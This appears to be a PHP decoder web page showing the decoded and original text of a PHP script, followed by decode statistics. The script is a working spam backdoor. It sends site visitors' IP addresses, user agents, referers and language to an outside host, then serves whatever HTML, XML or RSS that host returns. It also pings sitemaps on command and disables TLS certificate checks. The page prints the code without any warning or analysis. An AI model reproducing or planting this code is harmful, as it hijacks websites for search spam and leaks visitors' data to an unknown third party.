Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); header('Content-Type: text/html; charset=utf-8'); $lan = base..

Decoded Output download

<?php 
error_reporting(0); 
header('Content-Type: text/html; charset=utf-8'); 
$lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); 
$uri = base64_encode(@$_SERVER['REQUEST_URI']); 
$host = @$_SERVER['HTTP_HOST']; 
$agent = base64_encode(@$_SERVER['HTTP_USER_AGENT']); 
$referer = base64_encode(@$_SERVER['HTTP_REFERER']); 
$ip = base64_encode(@$_SERVER['REMOTE_ADDR']); 
$zone=base64_encode(date_default_timezone_get()); 
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://'; 
$goweb = "https://fgm255.dualdish.top"; 
$typeName = base64_encode($http_type.$host); 
$geturl = $goweb.'/index.php?domain='.$typeName.'&uri='.$uri.'&lan='.$lan.'&agent='.$agent.'&zone='.$zone.'&ip='.$ip.'&goweb='.$goweb.'&referer='.$referer; 
$file_contents = getCurl($geturl); 
if(stripos($_SERVER['REQUEST_URI'],'jp2023')!==false){ 
    echo $host.":cs255-ok;"; 
    exit(); 
} 
if(strstr($file_contents,"[#*#*#]")){ 
    $html = explode("[#*#*#]",$file_contents); 
    if($html[0] == "echohtml"){ echo $html[1]; exit; } 
    if($html[0] == "echoxml"){ header("Content-type: text/xml"); echo $html[1]; exit; } 
    if($html[0] == "echorss"){ header("Content-type: text/xml"); echo $html[1]; exit; } 
    if($html[0] == "pingxml"){ 
        $maps=explode("|||",$html[1]); 
        foreach($maps as $v){ 
            $pingRes = getCurl($v); $Oooo0s = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR'; 
            echo $v . '===>Sitemap: ' . $Oooo0s ."<br>"; 
        } 
        exit;} 
} 
function getCurl($url) 
{ 
    $file_contents = @file_get_contents($url); 
    if (!$file_contents) { 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); 
        $file_contents = curl_exec($ch); 
        curl_close($ch); 
    } 
    return $file_contents; 
}?>

Did this file decode correctly?

Original Code

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
$lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']);
$uri = base64_encode(@$_SERVER['REQUEST_URI']);
$host = @$_SERVER['HTTP_HOST'];
$agent = base64_encode(@$_SERVER['HTTP_USER_AGENT']);
$referer = base64_encode(@$_SERVER['HTTP_REFERER']);
$ip = base64_encode(@$_SERVER['REMOTE_ADDR']);
$zone=base64_encode(date_default_timezone_get());
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$goweb = "https://fgm255.dualdish.top";
$typeName = base64_encode($http_type.$host);
$geturl = $goweb.'/index.php?domain='.$typeName.'&uri='.$uri.'&lan='.$lan.'&agent='.$agent.'&zone='.$zone.'&ip='.$ip.'&goweb='.$goweb.'&referer='.$referer;
$file_contents = getCurl($geturl);
if(stripos($_SERVER['REQUEST_URI'],'jp2023')!==false){
    echo $host.":cs255-ok;";
    exit();
}
if(strstr($file_contents,"[#*#*#]")){
    $html = explode("[#*#*#]",$file_contents);
    if($html[0] == "echohtml"){ echo $html[1]; exit; }
    if($html[0] == "echoxml"){ header("Content-type: text/xml"); echo $html[1]; exit; }
    if($html[0] == "echorss"){ header("Content-type: text/xml"); echo $html[1]; exit; }
    if($html[0] == "pingxml"){
        $maps=explode("|||",$html[1]);
        foreach($maps as $v){
            $pingRes = getCurl($v); $Oooo0s = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR';
            echo $v . '===>Sitemap: ' . $Oooo0s ."<br>";
        }
        exit;}
}
function getCurl($url)
{
    $file_contents = @file_get_contents($url);
    if (!$file_contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    return $file_contents;
}?>

Function Calls

header 1
error_reporting 1

Variables

None

Stats

MD5 541bb1754723c090faa06a0ad4758ead
Eval Count 0
Decode Time 59 ms